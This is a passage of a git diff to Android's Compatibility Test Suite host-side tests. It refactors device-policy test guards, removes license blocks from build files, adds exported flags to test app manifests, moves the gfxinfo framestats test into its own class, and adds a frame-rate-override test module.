         final int profileUserId = createManagedProfile(mDeviceOwnerUserId /* parentUserId */);
@@ -158,9 +143,7 @@
      */
     @Test
     public void testUserRestrictions_layering() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser) {
-            return;
-        }
+        assumeSupportsMultiUser();
         setDo();
 
         // Create another user and set PO.
@@ -201,13 +184,8 @@
      */
     @Test
     public void testUserRestrictions_layering_profileOwnerNoLeaking() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser) {
-            return;
-        }
-        if (hasUserSplit()) {
-            // Can't set PO on user-0 in this mode.
-            return;
-        }
+        assumeSupportsMultiUser();
+
         // Set PO on user 0
         setPoAsUser(mDeviceOwnerUserId);
 
@@ -230,9 +208,7 @@
      */
     @Test
     public void testUserRestrictions_profileGlobalRestrictionsAsDo() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser) {
-            return;
-        }
+        assumeSupportsMultiUser();
         setDo();
 
         // Create another user with PO.
@@ -251,9 +227,8 @@
      */
     @Test
     public void testUserRestrictions_ProfileGlobalRestrictionsAsPo() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser || !mHasManagedUserFeature) {
-            return;
-        }
+        assumeCanCreateOneManagedUser();
+
         // Set PO on user 0
         setPoAsUser(mDeviceOwnerUserId);
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
index 7700140..2c8d50c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
@@ -14,14 +14,10 @@
  * limitations under the License.
  */
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_host {
     name: "device-policy-log-verifier-util",
     srcs: ["*.java"],
     libs: [
         "tradefed",
     ],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
index 3262632..5ab3ddb0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
@@ -63,9 +63,6 @@
     }
 
     void cleanLogs() throws Exception {
-        if (isStatsdDisabled()) {
-            return;
-        }
         removeConfig(CONFIG_ID);
         getReportList(); // Clears data.
     }
@@ -236,14 +233,4 @@
         mDevice.executeShellCommand(command, receiver);
         return parser.parseFrom(receiver.getOutput());
     }
-
-    boolean isStatsdDisabled() throws DeviceNotAvailableException {
-        // if ro.statsd.enable doesn't exist, statsd is running by default.
-        if ("false".equals(mDevice.getProperty("ro.statsd.enable"))
-                && "true".equals(mDevice.getProperty("ro.config.low_ram"))) {
-            CLog.d("Statsd is not enabled on the device");
-            return true;
-        }
-        return false;
-    }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
index c1cb1ee..f9f7a17 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
@@ -38,16 +38,11 @@
 
     /**
      * Asserts that <code>expectedLogs</code> were logged as a result of executing
-     * <code>action</code>, in the same order. Note that {@link Action#apply() } is always
-     * invoked on the <code>action</code> parameter, even if statsd logs are disabled.
+     * <code>action</code>, in the same order.
      */
     public static void assertMetricsLogged(ITestDevice device, Action action,
             DevicePolicyEventWrapper... expectedLogs) throws Exception {
         final AtomMetricTester logVerifier = new AtomMetricTester(device);
-        if (logVerifier.isStatsdDisabled()) {
-            action.apply();
-            return;
-        }
         try {
             logVerifier.cleanLogs();
             logVerifier.createAndUploadConfig(Atom.DEVICE_POLICY_EVENT_FIELD_NUMBER);
@@ -66,16 +61,11 @@
 
     /**
      * Asserts that <code>expectedLogs</code> were not logged as a result of executing
-     * <code>action</code>. Note that {@link Action#apply() } is always
-     * invoked on the <code>action</code> parameter, even if statsd expectedLogs are disabled.
+     * <code>action</code>.
      */
     public static void assertMetricsNotLogged(ITestDevice device, Action action,
             DevicePolicyEventWrapper... expectedLogs) throws Exception {
         final AtomMetricTester logVerifier = new AtomMetricTester(device);
-        if (logVerifier.isStatsdDisabled()) {
-            action.apply();
-            return;
-        }
         try {
             logVerifier.cleanLogs();
             logVerifier.createAndUploadConfig(Atom.DEVICE_POLICY_EVENT_FIELD_NUMBER);
@@ -92,11 +82,6 @@
         }
     }
 
-    public static boolean isStatsdEnabled(ITestDevice device) throws DeviceNotAvailableException {
-        final AtomMetricTester logVerifier = new AtomMetricTester(device);
-        return !logVerifier.isStatsdDisabled();
-    }
-
     private static void assertExpectedMetricLogged(List<EventMetricData> data,
             DevicePolicyEventWrapper expectedLog) {
         assertWithMessage("Expected metric was not logged.")
@@ -122,4 +107,4 @@
         });
         return closestMatches.contains(expectedLog);
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/dexmetadata/app/Android.bp b/hostsidetests/dexmetadata/app/Android.bp
index 427114b..9be64e6 100644
--- a/hostsidetests/dexmetadata/app/Android.bp
+++ b/hostsidetests/dexmetadata/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDexMetadataDeviceTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dexmetadata/app/SplitApp/Android.bp b/hostsidetests/dexmetadata/app/SplitApp/Android.bp
index de33f85..ec148f0 100644
--- a/hostsidetests/dexmetadata/app/SplitApp/Android.bp
+++ b/hostsidetests/dexmetadata/app/SplitApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDexMetadataSplitApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dexmetadata/app/SplitApp/AndroidManifest.xml b/hostsidetests/dexmetadata/app/SplitApp/AndroidManifest.xml
index 23ba9bc..cb79717 100644
--- a/hostsidetests/dexmetadata/app/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/dexmetadata/app/SplitApp/AndroidManifest.xml
@@ -15,14 +15,15 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.dexmetadata.splitapp"
-        android:isolatedSplits="true">
+     package="com.android.cts.dexmetadata.splitapp"
+     android:isolatedSplits="true">
 
     <application android:debuggable="true">
-        <activity android:name=".BaseActivity">
+        <activity android:name=".BaseActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp
index 731227f..df0a8bc 100644
--- a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp
+++ b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDexMetadataSplitAppFeatureA",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/AndroidManifest.xml b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/AndroidManifest.xml
index 40b4c99..dedf124 100644
--- a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/AndroidManifest.xml
+++ b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/AndroidManifest.xml
@@ -15,15 +15,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.dexmetadata.splitapp"
-        android:isFeatureSplit="true"
-        split="feature_a">
+     package="com.android.cts.dexmetadata.splitapp"
+     android:isFeatureSplit="true"
+     split="feature_a">
 
     <application android:debuggable="true">
-        <activity android:name=".feature_a.FeatureAActivity">
+        <activity android:name=".feature_a.FeatureAActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/dexmetadata/host/Android.bp b/hostsidetests/dexmetadata/host/Android.bp
index 3ae559d..d40cb6c 100644
--- a/hostsidetests/dexmetadata/host/Android.bp
+++ b/hostsidetests/dexmetadata/host/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsDexMetadataHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dumpsys/Android.bp b/hostsidetests/dumpsys/Android.bp
index 99a3cbf..3a3a2c5 100644
--- a/hostsidetests/dumpsys/Android.bp
+++ b/hostsidetests/dumpsys/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsDumpsysHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp
index 7d0890e..f926857 100644
--- a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp
+++ b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsFramestatsTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/AndroidManifest.xml b/hostsidetests/dumpsys/apps/FramestatsTestApp/AndroidManifest.xml
index 3a9f902..f5883d4 100644
--- a/hostsidetests/dumpsys/apps/FramestatsTestApp/AndroidManifest.xml
+++ b/hostsidetests/dumpsys/apps/FramestatsTestApp/AndroidManifest.xml
@@ -13,18 +13,20 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.framestatstestapp">
+     package="com.android.cts.framestatstestapp">
     <!--
-    A simple app that draws at least one frame. Used by framestats
-    test.
-    -->
+            A simple app that draws at least one frame. Used by framestats
+            test.
+            -->
     <application>
-        <activity android:name=".FramestatsTestAppActivity">
+        <activity android:name=".FramestatsTestAppActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp
index 85d7d94..3faa49a 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsProcStatsHelperApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp
index 9b97073..a721e6e 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsProcStatsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dumpsys/apps/storagedapp/Android.bp b/hostsidetests/dumpsys/apps/storagedapp/Android.bp
index 822e9a5..7e60522 100644
--- a/hostsidetests/dumpsys/apps/storagedapp/Android.bp
+++ b/hostsidetests/dumpsys/apps/storagedapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStoragedTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index e30829c..11f24fa 100755
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -718,91 +718,4 @@
         assertInteger(parts[13]); // unoptimizedScanMaxTime
         assertInteger(parts[14]); // unoptimizedScanMaxTimeBg
     }
-
-    /**
-     * Tests the output of "dumpsys gfxinfo framestats".
-     *
-     * @throws Exception
-     */
-    public void testGfxinfoFramestats() throws Exception {
-        final String MARKER = "---PROFILEDATA---";
-
-        try {
-            // cleanup test apps that might be installed from previous partial test run
-            getDevice().uninstallPackage(TEST_PKG);
-
-            // install the test app
-            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-            File testAppFile = buildHelper.getTestFile(TEST_APK);
-            String installResult = getDevice().installPackage(testAppFile, false);
-            assertNull(
-                    String.format("failed to install atrace test app. Reason: %s", installResult),
-                    installResult);
-
-            getDevice().executeShellCommand("am start -W " + TEST_PKG);
-
-            String frameinfo = mDevice.executeShellCommand("dumpsys gfxinfo " +
-                    TEST_PKG + " framestats");
-            assertNotNull(frameinfo);
-            assertTrue(frameinfo.length() > 0);
-            int profileStart = frameinfo.indexOf(MARKER);
-            int profileEnd = frameinfo.indexOf(MARKER, profileStart + 1);
-            assertTrue(profileStart >= 0);
-            assertTrue(profileEnd > profileStart);
-            String profileData = frameinfo.substring(profileStart + MARKER.length(), profileEnd);
-            assertTrue(profileData.length() > 0);
-            validateProfileData(profileData);
-        } finally {
-            getDevice().uninstallPackage(TEST_PKG);
-        }
-    }
-
-    private void validateProfileData(String profileData) throws IOException {
-        final int TIMESTAMP_COUNT = 14;
-        boolean foundAtLeastOneRow = false;
-        try (BufferedReader reader = new BufferedReader(
-                new StringReader(profileData))) {
-            String line;
-            // First line needs to be the headers
-            while ((line = reader.readLine()) != null && line.isEmpty()) {}
-
-            assertNotNull(line);
-            assertTrue("First line was not the expected header",
-                    line.startsWith("Flags,IntendedVsync,Vsync,OldestInputEvent" +
-                            ",NewestInputEvent,HandleInputStart,AnimationStart" +
-                            ",PerformTraversalsStart,DrawStart,SyncQueued,SyncStart" +
-                            ",IssueDrawCommandsStart,SwapBuffers,FrameCompleted"));
-
-            long[] numparts = new long[TIMESTAMP_COUNT];
-            while ((line = reader.readLine()) != null && !line.isEmpty()) {
-
-                String[] parts = line.split(",");
-                assertTrue(parts.length >= TIMESTAMP_COUNT);
-                for (int i = 0; i < TIMESTAMP_COUNT; i++) {
-                    numparts[i] = assertInteger(parts[i]);
-                }
-                // Flags = 1 just means the first frame of the window
-                if (numparts[0] != 0 && numparts[0] != 1) {
-                    continue;
-                }
-                // assert VSYNC >= INTENDED_VSYNC
-                assertTrue(numparts[2] >= numparts[1]);
-                // assert time is flowing forwards, skipping index 3 & 4
-                // as those are input timestamps that may or may not be present
-                assertTrue(numparts[5] >= numparts[2]);
-                for (int i = 6; i < TIMESTAMP_COUNT; i++) {
-                    assertTrue("Index " + i + " did not flow forward, " +
-                            numparts[i] + " not larger than " + numparts[i - 1],
-                            numparts[i] >= numparts[i-1]);
-                }
-                long totalDuration = numparts[13] - numparts[1];
-                assertTrue("Frame did not take a positive amount of time to process",
-                        totalDuration > 0);
-                assertTrue("Bogus frame duration, exceeds 100 seconds",
-                        totalDuration < 100000000000L);
-                foundAtLeastOneRow = true;
-            }
-        }
-        assertTrue(foundAtLeastOneRow);
-    }
 }
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/GfxInfoDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/GfxInfoDumpsysTest.java
new file mode 100755
index 0000000..5efc434
--- /dev/null
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/GfxInfoDumpsysTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.dumpsys.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.StringReader;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Test to check the format of the dumps of the gfxinfo.
+ */
+public class GfxInfoDumpsysTest extends BaseDumpsysTest {
+    private static final String TEST_APK = "CtsFramestatsTestApp.apk";
+    private static final String TEST_PKG = "com.android.cts.framestatstestapp";
+
+    /**
+     * Tests the output of "dumpsys gfxinfo framestats".
+     *
+     * @throws Exception
+     */
+    public void testGfxinfoFramestats() throws Exception {
+        final String MARKER = "---PROFILEDATA---";
+
+        try {
+            // cleanup test apps that might be installed from previous partial test run
+            getDevice().uninstallPackage(TEST_PKG);
+
+            // install the test app
+            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+            File testAppFile = buildHelper.getTestFile(TEST_APK);
+            String installResult = getDevice().installPackage(testAppFile, false);
+            assertNull(
+                    String.format("failed to install atrace test app. Reason: %s", installResult),
+                    installResult);
+
+            getDevice().executeShellCommand("am start -W " + TEST_PKG);
+
+            String frameinfo = mDevice.executeShellCommand("dumpsys gfxinfo " +
+                    TEST_PKG + " framestats");
+            assertNotNull(frameinfo);
+            assertTrue(frameinfo.length() > 0);
+            int profileStart = frameinfo.indexOf(MARKER);
+            int profileEnd = frameinfo.indexOf(MARKER, profileStart + 1);
+            assertTrue(profileStart >= 0);
+            assertTrue(profileEnd > profileStart);
+            String profileData = frameinfo.substring(profileStart + MARKER.length(), profileEnd);
+            assertTrue(profileData.length() > 0);
+            validateProfileData(profileData);
+        } finally {
+            getDevice().uninstallPackage(TEST_PKG);
+        }
+    }
+
+    private void validateProfileData(String profileData) throws IOException {
+        final int TIMESTAMP_COUNT = 16;
+        boolean foundAtLeastOneRow = false;
+        try (BufferedReader reader = new BufferedReader(
+                new StringReader(profileData))) {
+            String line;
+            // First line needs to be the headers
+            while ((line = reader.readLine()) != null && line.isEmpty()) {}
+
+            assertNotNull(line);
+            assertTrue("First line was not the expected header",
+                    line.startsWith("Flags,FrameTimelineVsyncId,IntendedVsync,Vsync" +
+                            ",OldestInputEvent,NewestInputEvent,HandleInputStart" +
+                            ",AnimationStart,PerformTraversalsStart,DrawStart,FrameDeadline" +
+                            ",SyncQueued,SyncStart,IssueDrawCommandsStart,SwapBuffers" +
+                            ",FrameCompleted"));
+
+            long[] numparts = new long[TIMESTAMP_COUNT];
+            while ((line = reader.readLine()) != null && !line.isEmpty()) {
+
+                String[] parts = line.split(",");
+                assertTrue(parts.length >= TIMESTAMP_COUNT);
+                for (int i = 0; i < TIMESTAMP_COUNT; i++) {
+                    numparts[i] = assertInteger(parts[i]);
+                }
+                // Flags = 1 just means the first frame of the window
+                if (numparts[0] != 0 && numparts[0] != 1) {
+                    continue;
+                }
+
+                // assert time is flowing forwards. we need to check each entry explicitly
+                // as some entries do not represent a flow of events.
+                assertTrue("VSYNC happened before INTENDED_VSYNC",
+                        numparts[3] >= numparts[2]);
+                assertTrue("HandleInputStart happened before VSYNC",
+                        numparts[6] >= numparts[3]);
+                assertTrue("AnimationStart happened before HandleInputStart",
+                        numparts[7] >= numparts[6]);
+                assertTrue("PerformTraversalsStart happened before AnimationStart",
+                        numparts[8] >= numparts[7]);
+                assertTrue("DrawStart happened before PerformTraversalsStart",
+                        numparts[9] >= numparts[8]);
+                assertTrue("SyncQueued happened before DrawStart",
+                        numparts[11] >= numparts[9]);
+                assertTrue("SyncStart happened before SyncQueued",
+                        numparts[12] >= numparts[11]);
+                assertTrue("IssueDrawCommandsStart happened before SyncStart",
+                        numparts[13] >= numparts[12]);
+                assertTrue("SwapBuffers happened before IssueDrawCommandsStart",
+                        numparts[14] >= numparts[13]);
+                assertTrue("FrameCompleted happened before SwapBuffers",
+                        numparts[15] >= numparts[14]);
+
+                // total duration is from IntendedVsync to FrameCompleted
+                long totalDuration = numparts[15] - numparts[2];
+                assertTrue("Frame did not take a positive amount of time to process",
+                        totalDuration > 0);
+                assertTrue("Bogus frame duration, exceeds 100 seconds",
+                        totalDuration < 100000000000L);
+                foundAtLeastOneRow = true;
+            }
+        }
+        assertTrue(foundAtLeastOneRow);
+    }
+}
diff --git a/hostsidetests/edi/Android.bp b/hostsidetests/edi/Android.bp
index d542654..20f626c 100644
--- a/hostsidetests/edi/Android.bp
+++ b/hostsidetests/edi/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsEdiHostTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/gputools/Android.bp b/hostsidetests/gputools/Android.bp
index f919a8c..4b77aa4 100644
--- a/hostsidetests/gputools/Android.bp
+++ b/hostsidetests/gputools/Android.bp
@@ -12,16 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-MIT
-    default_applicable_licenses: ["cts_license"],
-}
-
 java_test_host {
     name: "CtsGpuToolsHostTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/gputools/apps/Android.bp b/hostsidetests/gputools/apps/Android.bp
index a04ba61..3cfeafb 100644
--- a/hostsidetests/gputools/apps/Android.bp
+++ b/hostsidetests/gputools/apps/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctsgputools_jni",
     gtest: false,
diff --git a/hostsidetests/gputools/apps/AndroidManifest.xml b/hostsidetests/gputools/apps/AndroidManifest.xml
index a4fd8dc..89ecaf8 100755
--- a/hostsidetests/gputools/apps/AndroidManifest.xml
+++ b/hostsidetests/gputools/apps/AndroidManifest.xml
@@ -16,17 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.rootlessgpudebug.app">
+     package="android.rootlessgpudebug.app">
 
-    <application android:extractNativeLibs="true" >
-        <activity android:name=".RootlessGpuDebugDeviceActivity" >
+    <application android:extractNativeLibs="true">
+        <activity android:name=".RootlessGpuDebugDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
-
diff --git a/hostsidetests/gputools/apps/inject/AndroidManifest.xml b/hostsidetests/gputools/apps/inject/AndroidManifest.xml
index e16aedb..63bd9c1 100644
--- a/hostsidetests/gputools/apps/inject/AndroidManifest.xml
+++ b/hostsidetests/gputools/apps/inject/AndroidManifest.xml
@@ -16,18 +16,18 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.rootlessgpudebug.app">
+     package="android.rootlessgpudebug.app">
 
-    <application android:extractNativeLibs="true" >
-        <meta-data android:name="com.android.graphics.injectLayers.enable" android:value="true"/>
-        <activity android:name=".RootlessGpuDebugDeviceActivity" >
+    <application android:extractNativeLibs="true">
+        <meta-data android:name="com.android.graphics.injectLayers.enable"
+             android:value="true"/>
+        <activity android:name=".RootlessGpuDebugDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
-
diff --git a/hostsidetests/gputools/layers/Android.bp b/hostsidetests/gputools/layers/Android.bp
index 8d294d6..ef8887b 100644
--- a/hostsidetests/gputools/layers/Android.bp
+++ b/hostsidetests/gputools/layers/Android.bp
@@ -12,16 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-MIT
-    default_applicable_licenses: ["cts_license"],
-}
-
 cc_test_library {
     name: "libVkLayer_nullLayerA",
     gtest: false,
diff --git a/hostsidetests/graphics/framerateoverride/Android.bp b/hostsidetests/graphics/framerateoverride/Android.bp
new file mode 100644
index 0000000..9dd24e5
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsFrameRateOverrideTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "guava",
+    ],
+    static_libs:["CompatChangeGatingTestBase"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    java_resources: [":cts-global-compat-config"],
+}
+
+
+
diff --git a/hostsidetests/graphics/framerateoverride/AndroidTest.xml b/hostsidetests/graphics/framerateoverride/AndroidTest.xml
new file mode 100644
index 0000000..1b673fc
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS framerateoverride host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsFrameRateOverrideTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/graphics/framerateoverride/OWNERS b/hostsidetests/graphics/framerateoverride/OWNERS
new file mode 100644
index 0000000..0e1e92c
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 25423
+adyabr@google.com
+stoza@google.com
+
diff --git a/hostsidetests/graphics/framerateoverride/TEST_MAPPING b/hostsidetests/graphics/framerateoverride/TEST_MAPPING
new file mode 100644
index 0000000..c9825c6
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/TEST_MAPPING
@@ -0,0 +1,8 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsFrameRateOverrideTestCases"
+    }
